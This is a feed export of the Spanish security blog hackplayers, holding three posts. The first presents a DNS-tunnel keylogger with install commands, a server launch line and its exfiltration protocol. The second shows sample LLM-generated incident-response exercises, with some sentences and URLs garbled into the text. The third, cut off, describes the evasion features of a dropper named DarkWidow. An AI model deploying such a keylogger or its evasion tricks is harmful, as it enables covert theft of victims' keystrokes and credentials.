tag:blogger.com,1999:blog-91335397736841038482024-03-29T04:29:52.149+01:00hackplayersComputer security, ethical hacking and more!Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.comBlogger2380125tag:blogger.com,1999:blog-9133539773684103848.post-13348814393725845312024-03-19T01:28:00.003+01:002024-03-19T01:29:12.002+01:00DNS-Tunnel-Keylogger: su nombre lo dice todo...<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbOEQdlbfegOF8BlpqYkc_1z0tlG_-bAunTbzf2kT96pJiC-inCNyItvya2kRDnLYioe_NgACcADYvFfUhyphenhyphenVi3Ww44r2_bTc8gKQXZvgWiPwFTXs0mF8KR5ix3D4E_pLUawYm9sMb3xBpm16FmP12mFfXeW7jLGi7MbdBELaADUMZfcudOIUGFpprg5Hpw/s2560/tunnel2024.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="2560" data-original-width="1536" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbOEQdlbfegOF8BlpqYkc_1z0tlG_-bAunTbzf2kT96pJiC-inCNyItvya2kRDnLYioe_NgACcADYvFfUhyphenhyphenVi3Ww44r2_bTc8gKQXZvgWiPwFTXs0mF8KR5ix3D4E_pLUawYm9sMb3xBpm16FmP12mFfXeW7jLGi7MbdBELaADUMZfcudOIUGFpprg5Hpw/s320/tunnel2024.jpg" width="192" /></a></div><b>DNS-Tunnel-Keylogger</b> es una herramienta de código abierto que permite capturar las pulsaciones de teclas de un equipo objetivo de forma encubierta. Lo que la hace especial es que utiliza el protocolo DNS para exfiltrar las pulsaciones de teclas, dificultando su detección por parte de firewalls y software antivirus.<p></p><p><b><span style="font-size: medium;">Componentes principales:</span></b></p><p></p><ul style="text-align: left;"><li>Servidor: Se encarga de recibir y almacenar las pulsaciones de teclas capturadas.</li><li>Cliente: Se instala en el equipo objetivo y captura las pulsaciones de teclas, enviándolas al servidor mediante el protocolo DNS.</li></ul><p></p><p><b><span style="font-size: medium;">Funcionamiento:</span></b></p><p></p><ol style="text-align: left;"><li>El cliente captura las pulsaciones de teclas del usuario.</li><li>Codifica las pulsaciones de teclas en nombres de dominio.</li><li>Realiza consultas DNS al servidor utilizando los nombres de dominio codificados.</li><li>El servidor recibe las consultas DNS y decodifica las pulsaciones de teclas.</li><li>Las pulsaciones de teclas decodificadas se almacenan en un archivo en el servidor.</li></ol><p></p><p><b><span style="font-size: medium;">Instalación del servidor</span></b></p><p>El servidor se puede instalar en cualquier sistema operativo que tenga Python instalado. Para instalar el servidor, siga estos pasos:</p><div style="text-align: left;">1. Clona el repositorio de GitHub:<br /><span style="font-family: courier;">$ git clone https://github.com/Geeoon/DNS-Tunnel-Keylogger.git</span></div><div style="text-align: left;"><br />2. Accede al directorio del servidor:<br /><span style="font-family: courier;">$ cd DNS-Tunnel-Keylogger/server</span></div><div style="text-align: left;"><span style="font-family: courier;"><br /></span>3. Instala las dependencias:<br /><span style="font-family: courier;">$ pip install -r requirements.txt</span></div><div style="text-align: left;"><span style="font-family: courier;"><br /></span>4. Inicia el servidor:<br /></div><div style="text-align: left;"><span style="font-family: courier;">$ sudo python3 server/main.py 192.168.1.133 cabesha.com</span></div><div style="text-align: left;"><span style="font-family: courier;">Listening for traffic...</span></div><p><b><span style="font-size: medium;">Uso del cliente:</span></b></p><p><b>Linux</b></p><p>El cliente en Linux consta de dos scripts en bash. Connection.sh es utilizado por el script logger.sh para enviar las pulsaciones de teclas al servidor. Si quieres enviar datos manualmente, como un archivo, puedes hacer un pipeal script Connection.sh. Automáticamente establecerá una conexión y enviará los datos.</p><div class="markdown-heading" dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; position: relative;"><h3 class="heading-element" dir="auto" style="box-sizing: border-box; font-size: 1.25em; font-weight: var(--base-text-weight-semibold, 600); line-height: 1.25; margin-bottom: 16px; margin-top: 24px;" tabindex="-1"><code style="background-color: var(--bgColor-neutral-muted, var(--color-neutral-muted)); border-radius: 6px; box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: inherit; margin: 0px; padding: 0px 0.2em; white-space-collapse: break-spaces;">logger.sh</code></h3><a aria-label="Permalink: logger.sh" class="anchor" href="https://github.com/Geeoon/DNS-Tunnel-Keylogger#loggersh" id="user-content-loggersh" style="align-items: center; background-color: transparent; border-radius: 6px; box-sizing: border-box; display: flex; float: left; height: 28px; justify-content: center; left: -28px; line-height: 1; margin: auto; opacity: 0; padding-right: 4px; position: absolute; text-underline-offset: 0.2rem; top: 13.5px; transform: translateY(-50%); width: 28px;"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto; position: relative;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;"># Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed</code></pre><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;"><br /></code></pre><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;"><br /></code></pre></div><div class="markdown-heading" dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; position: relative;"><h3 class="heading-element" dir="auto" style="box-sizing: border-box; font-size: 1.25em; font-weight: var(--base-text-weight-semibold, 600); line-height: 1.25; margin-bottom: 16px; margin-top: 24px;" tabindex="-1"><code style="background-color: var(--bgColor-neutral-muted, var(--color-neutral-muted)); border-radius: 6px; box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: inherit; margin: 0px; padding: 0px 0.2em; white-space-collapse: break-spaces;">connection.sh</code></h3><a aria-label="Permalink: connection.sh" class="anchor" href="https://github.com/Geeoon/DNS-Tunnel-Keylogger#connectionsh" id="user-content-connectionsh" style="align-items: center; background-color: transparent; border-radius: 6px; box-sizing: border-box; display: flex; float: left; height: 28px; justify-content: center; left: -28px; line-height: 1; margin: auto; opacity: 0; padding-right: 4px; position: absolute; text-underline-offset: 0.2rem; top: 13.5px; transform: translateY(-50%); width: 28px;"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto; position: relative;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">Usage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet</code></pre></div><p><b>Windows</b></p><p>Compilar: </p><p><span style="font-family: courier;">make production domain=example.com</span></p><div>o <span style="font-family: courier;">make debug domain=example.com</span></div><div><br /></div><div><b><span style="font-size: medium;">Protocolo:</span></b></div><div><br /></div><div><div>Las solicitudes comienzan con "a" indicando el inicio de una "conexión". Cuando el servidor los reciba, responderá con una dirección IP falsa no reservada donde el último octeto contiene la identificación del cliente.</div><div>El siguiente es el formato a seguir para iniciar una conexión: <span style="font-family: courier;">a.1.1.1.[sld].[tld].</span></div><div>El servidor responderá con una dirección IP en el siguiente formato:<span style="font-family: courier;"> 123.123.123.[id]</span></div><div>Las conexiones simultáneas no pueden exceder las 254 y los clientes nunca se consideran "desconectados".</div></div><div><br /></div><div>Luego las conexiones de exfiltración de datos empiezan por "b" con el formato <span style="font-family: courier;">b.[packet #].[id].[data].[sld].[tld] </span>y el servidor responderá con <span style="font-family: courier;">[code].123.123.123.</span></div><div><div>d es la identificación que se estableció en la conexión. Los datos se envían codificados en ASCII en hexadecimal.</div><div>Code es uno de los códigos que se describen a continuación.</div></div><div><br /></div><div><b><span style="font-size: medium;">Códigos de respuesta:</span></b></div><div><br /></div><div><div>200: OK</div><div>Si el cliente envía una solicitud que se procesa normalmente, el servidor responderá con el código 200.</div><div><br /></div><div>201: Malformed Record Requests</div><div>Si el cliente envía una solicitud con formato incorrecto, el servidor responderá con el código 201.</div><div><br /></div><div>202: Non-Existant Connections</div><div>Si el cliente envía un paquete de datos con una identificación mayor que el número de conexiones, el servidor responderá con el código 202.</div><div><br /></div><div>203: Out of Order Packets</div><div>Si el cliente envía un paquete con una identificación de paquete que no coincide con lo esperado, el servidor responderá con el código 203. Los clientes y servidores deben restablecer sus números de paquete a 0. Luego, el cliente puede reenviar el paquete con la nueva identificación de paquete. .</div><div><br /></div><div>204 Reached Max Connection</div><div>Si el cliente intenta crear una conexión cuando se alcanza el máximo, el servidor responderá con el código 204.</div></div><div><br /></div><div><b>Repositorio</b>: <a href="https://github.com/Geeoon/DNS-Tunnel-Keylogger">https://github.com/Geeoon/DNS-Tunnel-Keylogger</a></div>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-41092475468473923292024-03-17T20:40:00.001+01:002024-03-17T20:40:20.864+01:00AttackGen: genera escenarios de respuesta a incidentes usando LLMs<p>El framework MITRE ATT&CK es una herramienta poderosa para comprender las tácticas, técnicas y procedimientos (TTP) utilizados por los diversos actores; sin embargo, puede resultar difícil traducir esta información en escenarios realistas para realizar pruebas.</p><p>AttackGen resuelve este problema mediante el uso de grandes modelos de lenguaje (LLM) para generar rápidamente escenarios de ataque basados en una selección de técnicas conocidas de un grupo seleccionado por el usuario y los detalles de su organización.</p><p>Su uso es tremendamente simple. Introducimos la key de la API de OpenAI y seleccionamos la industria y el tamaño de la organización contra la que simularemos el ataque:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN2HqaCz-NfgISj0CHrdmnxf5r-cYck5IIs4iy9FfILeOzaqZaLGKw4HNVJWMfPcz6xSCxrezob7ULwTe__eOxGE5QwqbBXCFLmLwbP1pEv0RQeurrUorjw9tQ_NqedirMhu6xmFWnFf7_30sJr_p6-NX50TC2zbVat-mw-D8XZtLmq-WAnTpa2eL98axI/s3396/attackgen01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1904" data-original-width="3396" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN2HqaCz-NfgISj0CHrdmnxf5r-cYck5IIs4iy9FfILeOzaqZaLGKw4HNVJWMfPcz6xSCxrezob7ULwTe__eOxGE5QwqbBXCFLmLwbP1pEv0RQeurrUorjw9tQ_NqedirMhu6xmFWnFf7_30sJr_p6-NX50TC2zbVat-mw-D8XZtLmq-WAnTpa2eL98axI/w640-h358/attackgen01.png" width="640" /></a></div><p>Posteriormente vamos a Threat Group Scenarios o Custom Scenarios y veremos una completa lista de actores con sus TTPs asociadas. En el ejemplo seleccionamos APT41:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha9xPHGPC3En6ppcOQpwuU3MfupyLOx3fKGXNdqXdj3O0cMRvDWMnNzb8MgnNWvH0EKRWX-ZOiwLg9nl2yXRtf8gdtKyCDgOQMSeEnfqLdUNitZtN-sMiF7DoyMyBke1UbJ37qbO4MM26CPwcVBIr8cN-Zcp4cf0-5FNv1MN-fprWTv1PsrLEQo5jDX6d4/s2064/attackgen02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2064" data-original-width="1641" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha9xPHGPC3En6ppcOQpwuU3MfupyLOx3fKGXNdqXdj3O0cMRvDWMnNzb8MgnNWvH0EKRWX-ZOiwLg9nl2yXRtf8gdtKyCDgOQMSeEnfqLdUNitZtN-sMiF7DoyMyBke1UbJ37qbO4MM26CPwcVBIr8cN-Zcp4cf0-5FNv1MN-fprWTv1PsrLEQo5jDX6d4/w508-h640/attackgen02.png" width="508" /></a></div><div><br /></div>Y al darle al botón de generar escenario obtendremos automáticamente la simulación. Vemos unos pocos ejemplos:<div><a name='more'></a><h2 style="text-align: left;"><b>Incident Response Testing Scenario: APT41 Targeting Aerospace/Defense Small Company</b></h2><h3 style="text-align: left;"><b>Scenario Overview:</b></h3><div>APT41, a sophisticated threat actor group, is targeting a small aerospace/defense company with a planned attack using a comprehensive kill chain. The company must test its incident response capabilities to effectively detect, respond to, and mitigate the potential breach orchestrated by APT41.</div><div><br /></div><h3 style="text-align: left;">Key Objectives:</h3><div><ol style="text-align: left;"><li>Evaluate the company's ability to detect and respond to various stages of the APT41 kill chain.</li><li>Assess the effectiveness of the incident response team in containing and mitigating the attack.</li><li>Test the coordination and communication among internal teams during a simulated cyber incident.</li></ol></div><h3 style="text-align: left;">Incident Response Testing Steps:</h3><div><ol style="text-align: left;"><li>Resource Development (T1588.002)</li><ul><li>Simulate a scenario where the threat actor crafts a malicious tool to be used in the attack.</li><li>Monitor for any suspicious tool development activities on internal systems.</li></ul><li>Initial Access (T1566.001)</li><ul><li>Send simulated spear-phishing emails with malicious attachments to employees.</li><li>Evaluate the company's email security controls and the ability to detect phishing attempts.</li></ul><li>Execution (T1059.001)</li><ul><li>Run a PowerShell script within the environment to simulate code execution.</li><li>Monitor for unusual PowerShell activities and command executions.</li></ul><li>Persistence (T1133)</li><ul><li>Establish external remote services for persistent access.</li><li>Detect and investigate any unauthorized external access attempts.</li></ul><li>Privilege Escalation (T1546.008)</li><ul><li>Exploit accessibility features to escalate privileges.</li><li>Monitor for suspicious changes in user privileges and access rights.</li></ul><li>Defense Evasion (T1027)</li><ul><li>Obfuscate files or information to bypass detection.</li><li>Evaluate the effectiveness of endpoint security solutions in detecting obfuscated files.</li></ul><li>Credential Access (T1003.001)</li><ul><li>Attempt to extract credentials from LSASS memory.</li><li>Monitor for any suspicious activities related to credential theft.</li></ul><li>Discovery (T1135)</li><ul><li>Conduct network share discovery to identify critical assets.</li><li>Detect and investigate unauthorized network share access.</li></ul><li>Lateral Movement (T1021.001)</li><ul><li>Use Remote Desktop Protocol for lateral movement.</li><li>Detect and block suspicious RDP connections between internal systems.</li></ul><li>Collection (T1560.003)</li><ul><li>Archive data using a custom method for exfiltration.</li><li>Monitor for large data transfers or unusual archiving activities.</li></ul><li>Command and Control (T1008)</li><ul><li>Establish fallback communication channels for remote control.</li><li>Detect and block any unusual network traffic patterns.</li></ul><li>Exfiltration (T1567)</li><ul><li>Attempt to exfiltrate data over web services.</li><li>Monitor outbound network traffic for potential data exfiltration attempts.</li></ul><li>Impact (T1486)</li><ul><li>Encrypt data for impact within the environment.</li><li>Assess the speed and effectiveness of incident response in mitigating data encryption.</li></ul></ol></div><h3 style="text-align: left;">Conclusion:</h3><div>Conducting this comprehensive incident response testing scenario will provide valuable insights into the company's readiness to defend against APT41's sophisticated attack tactics. By simulating each stage of the kill chain, the company can identify gaps in its security controls, response procedures, and communication protocols, enabling it to improve its overall cyber resilience.</div></div><div><br /></div><div><h2 style="text-align: left;">Incident Response Testing Scenario: Turla targeting Finance/Banking Company</h2><h3 style="text-align: left;">Background:</h3><div>The company operates in the Finance/Banking industry and is categorised as a Small business with 1-50 employees.</div><h3 style="text-align: left;">Threat Actor:</h3><div>The threat actor group 'Turla' is planning to target the company using the following kill chain:</div><div><ul style="text-align: left;"><li>Resource Development: Malware (T1587.001)</li><li>Initial Access: Spearphishing Link (T1566.002)</li><li>Execution: Native API (T1106)</li><li>Persistence: Winlogon Helper DLLIncident Response Testing Scenario:</li><li> (T1547.004)</li><li>Privilege Escalation: Windows Management Instrumentation Event Subscription (T1546.003)</li><li>Defense Evasion: Modify Registry (T1112)</li><li>Credential Access: Brute Force (T1110)</li><li>Discovery: Remote System Discovery (T1018)</li><li>Lateral Movement: SMB/Windows Admin Shares (T1021.002)</li><li>Collection: Data from Information Repositories (T1213)</li><li>Command and Control: Internal Proxy (T1090.001)</li><li>Exfiltration: Exfiltration to Cloud Storage (T1567.002)</li></ul></div><h2 style="text-align: left;">Objective:</h2><div>To evaluate the company's incident response capabilities in detecting, containing, and mitigating a targeted attack by the threat actor group 'Turla'.</div><h3 style="text-align: left;">Scenario:</h3><div>1. Initial Compromise:</div><div><ul style="text-align: left;"><li>The scenario begins with a simulated spearphishing email containing a malicious link, leading to the execution of malware leveraging native APIs.</li><li>The malware establishes persistence through the use of Winlogon Helper DLL and escalates privileges using Windows Management Instrumentation Event Subscription.</li></ul></div><div>2. Detection and Analysis:</div><div><ul style="text-align: left;"><li>The incident response team is alerted to suspicious activities, such as modifications to the registry, attempted brute force attacks for credential access, and remote system discovery.</li><li>The team must analyse network logs, endpoint data, and system artefacts to identify indicators of compromise (IoCs) associated with the attack.</li></ul></div><div>3. Containment and Eradication:</div><div><ul style="text-align: left;"><li>Upon confirming the presence of the threat actor, the team must contain the incident by isolating affected systems and disabling lateral movement through SMB/Windows Admin Shares.</li><li>The team proceeds with the eradication process by removing malicious files, disabling persistence mechanisms, and revoking compromised credentials.</li></ul></div><div>4. Recovery and Post-Incident Activities:</div><div><ul style="text-align: left;"><li>The incident response team initiates the recovery phase by restoring affected systems from clean backups and implementing security patches to prevent future attacks.</li><li>Post-incident activities include conducting a lessons learned session, updating incident response procedures based on findings, and improving security awareness training for employees.</li></ul></div><h3 style="text-align: left;">Evaluation Criteria:</h3><div><ul style="text-align: left;"><li>Response Time: Assess how quickly the incident response team detects, responds, and mitigates the attack.</li><li>Communication: Evaluate the effectiveness of internal and external communication during the incident response process.</li><li>Technical Proficiency: Measure the team's technical skills in analysing IoCs, containing the incident, and eradicating threats.</li><li>Documentation: Review the documentation of the incident response process, including evidence collection and remediation steps.</li></ul></div><h3 style="text-align: left;">Conclusion:</h3><div>By conducting this incident response testing scenario, the company can assess its readiness to defend against sophisticated threats like 'Turla'. The exercise will provide valuable insights into the strengths and weaknesses of the current incident response plan, enabling continuous improvement and enhanced cybersecurity resilience.</div></div><div><br /></div><div><h2 style="text-align: left;">Incident Response Testing Scenario: Carbanak targeting IT Company</h2><h3 style="text-align: left;">Overview</h3><div>In this scenario, the company, operating in the Technology/IT industry as an Enterprise with 1,001-10,000 employees, will be subjected to a simulated cyber attack conducted by the threat actor group 'Carbanak'. The attack will follow the kill chain stages of Resource Development, Persistence, Defense Evasion, and Command and Control using specific tactics as detailed below.</div><h3 style="text-align: left;">Threat Actor Information</h3><div>Threat Actor Group: Carbanak</div><div>Kill Chain:</div><div><ul style="text-align: left;"><li>Resource Development: Tool (T1588.002)</li><li>Persistence: Windows Service (T1543.003)</li><li>Defense Evasion: Match Legitimate Name or Location (T1036.005)</li><li>Command and Control: Bidirectional Communication (T1102.002)</li></ul></div><h3 style="text-align: left;">Incident Response Testing Objectives</h3><div><ul style="text-align: left;"><li>Evaluate the company's ability to detect and respond to a simulated cyber attack conducted by the Carbanak threat actor group.</li><li>Test the effectiveness of the incident response procedures, including communication, coordination, and decision-making during a cyber incident.</li><li>Identify any gaps or weaknesses in the incident response plan and improve the company's overall cybersecurity posture.</li></ul></div><h3 style="text-align: left;">Scenario Details</h3><div><ul style="text-align: left;"><li>Scenario Type: Tabletop Exercise</li><li>Scenario Date: [To be determined]</li><li>Scenario Participants:</li><ul><li>Incident Response Team</li><li>IT Security Team</li><li>IT Operations Team</li><li>Legal Team</li><li>Communications Team</li><li>External Cybersecurity Consultant (Facilitator)</li></ul><li>Scenario Steps:</li><ul><li>Preparation Phase:</li><ul><li>Provide background information on Carbanak threat actor group and their kill chain tactics.</li><li>Review the company's incident response plan and procedures.</li></ul><li>Simulation Phase:</li><ul><li>Resource Development Stage: Simulate the deployment of a malicious tool (T1588.002) within the company's network.</li><li>Persistence Stage: Simulate the establishment of persistence using a Windows service (T1543.003).</li><li>Defense Evasion Stage:Simulate the use of tactics to match legitimate names or locations (T1036.005) to evade detection.</li><li>Command and Control Stage: Simulate the establishment of bidirectional communication (T1102.002) with external malicious entities.</li></ul><li>Response Phase:</li><ul><li>Participants respond to each stage of the attack as it unfolds.</li><li>Activate the incident response plahttps://github.com/mrwadams/attackgenn and follow predefined procedures.</li><li>Coordinate with relevant teams to contain the attack, mitigate impact, and restore normal operations.</li></ul><li>Debriefing Phase:</li><ul><li>Conduct a debriefing session to discuss the response actions taken, challenges faced, and lessons learned.</li><li>Identify areas for improvement in incident response procedures and cybersecurity defences.</li></ul></ul></ul></div><h3 style="text-align: left;">Conclusion</h3><div>By conducting this incident response testing scenariConduct a debriefing session to discuss the response actions taken, challenges faced, and lessons learned.</div><div>Identify areas for improvement in incident response procedures and cybersecurity defences.o, the company will be better prepared to handle sophisticated cyber threats like the Carbanak group. The insights gained from this exercise will help enhance the company's incident response capabilities and overall cyber resilience.</div></div><div><br /></div><div>Interesante ¿verdad? Pues si quieres probarlo no lo dudes y echa un ojo al repo: </div><div><a href="https://github.com/mrwadams/attackgen">https://github.com/mrwadams/attackgen</a></div>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-46108371392556984282024-03-06T01:04:00.010+01:002024-03-06T01:13:05.832+01:00DarkWidow: Dropper/PostExploitation Tool <p><span face=""Google Sans", "Helvetica Neue", sans-serif" style="background-color: white; color: #1f1f1f; font-size: 16px; white-space-collapse: preserve;"></span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDcoCyEZqBtBDOMdP6-ndeR3Q187Ot8edCZacXUlAv5vTAoXvZNnZorZ1iuDRcZCa-oMCzjMfakyIJKD22EO_lHSEj5zDXNwYj1Zde3Ef7cbvo36UkVa0cJhwp-63PlSUll9EYDRpwXvkI36fce6diL064kiVu490rewT-Nw81Aewt9_kJPpCHJYHUm-hU/s2688/darkwidow4.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="2688" data-original-width="1408" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDcoCyEZqBtBDOMdP6-ndeR3Q187Ot8edCZacXUlAv5vTAoXvZNnZorZ1iuDRcZCa-oMCzjMfakyIJKD22EO_lHSEj5zDXNwYj1Zde3Ef7cbvo36UkVa0cJhwp-63PlSUll9EYDRpwXvkI36fce6diL064kiVu490rewT-Nw81Aewt9_kJPpCHJYHUm-hU/w210-h400/darkwidow4.png" width="210" /></a></div>DarkWidow, desarrollado por <span face="TwitterChirp, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif" style="background-color: white; color: #1d9bf0; font-size: 17px; white-space-collapse: preserve;">@reveng007</span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="background-color: white; color: #1f1f1f; font-size: 16px; white-space-collapse: preserve;"> y presentado de la <a href="https://www.blackhat.com/asia-24/arsenal/schedule/index.html#darkwidow-dropperpostexploitation-tool-or-can-be-used-in-both-situations-targeting-windows-36835" target="_blank">BlackHat de Asia de 2023</a>, es un proyecto de malware en GitHub que destaca por su enfoque en la evasión de detección y la persistencia. Se trata de un dropper/herramienta de post-explotación y algunas de sus características clave incluyen:</span><p></p><p data-sourcepos="5:1-5:75" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">1. Indirect Dynamic Syscall (Llamadas al sistema dinámicas indirectas):</span></p><ul data-sourcepos="7:1-10:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="7:1-7:194" style="margin-bottom: 0px;">En lugar de llamar directamente a las funciones del sistema operativo (llamadas al sistema) por su nombre o dirección, DarkWidow obtiene su <span style="font-weight: 700;">dirección dinámicamente en tiempo de ejecución</span>.</li><li data-sourcepos="8:1-8:120" style="margin-bottom: 0px;">Esto se puede lograr mediante diversos métodos, como consultar la memoria del kernel o utilizando técnicas de hashing.</li><li data-sourcepos="9:1-10:0" style="margin-bottom: 0px;">Una vez obtenida la dirección, se ejecuta la llamada al sistema de forma <span style="font-weight: 700;">indirecta</span>, haciendo que parezca un acceso regular a la memoria y dificultando su detección por herramientas de seguridad basadas en firmas.</li></ul><p data-sourcepos="11:1-11:166" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">2. SSN + Syscall address sorting via Modified TartarusGate approach (Ordenamiento de direcciones de llamadas al sistema SSN + enfoque modificado de TartarusGate):</span></p><ul data-sourcepos="13:1-16:0" style="background-color: white; color: #1f1f1f; 